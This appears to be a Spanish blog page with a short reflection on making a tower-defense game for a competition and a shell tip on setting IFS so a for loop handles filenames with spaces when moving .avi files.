Gracias al ejemplo de GameCanvas que viene con NetBeans no tardé ni un rato en tener una primera versión de un muñeco moviéndose por el escenario. Un mes después presente todo el análisis y diseño y alguna screen (solo había 1 tipo de torre y 1 tipo de enemigo en ese momento.)

Ha sido mi primer año y realmente me ha gustado mucho, ha habido muy buenos juegos y cualquiera podría haber ganado, estaba muy igualado. Os doy las gracias a todos los participantes por haber hecho que realmente haya competición. También gracias a la organización y todo el ambiente que han creado.

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wiithon . WBFS GUI en Linux para WII . v0.98!

Espacios en for i in $(ls)

#!/bin/sh

IFS=$'\x0A'$'\x0D' ;
for i in $(find -iname "*.avi"); do
mv -v "$i" . ;
done;

Chuleta:  Para que el for no considere el espacio un separador, y una tarea como la del ejemplo lo realize bien. El script de ejemplo mueve todos los videos de subcarpetas al directorio actual.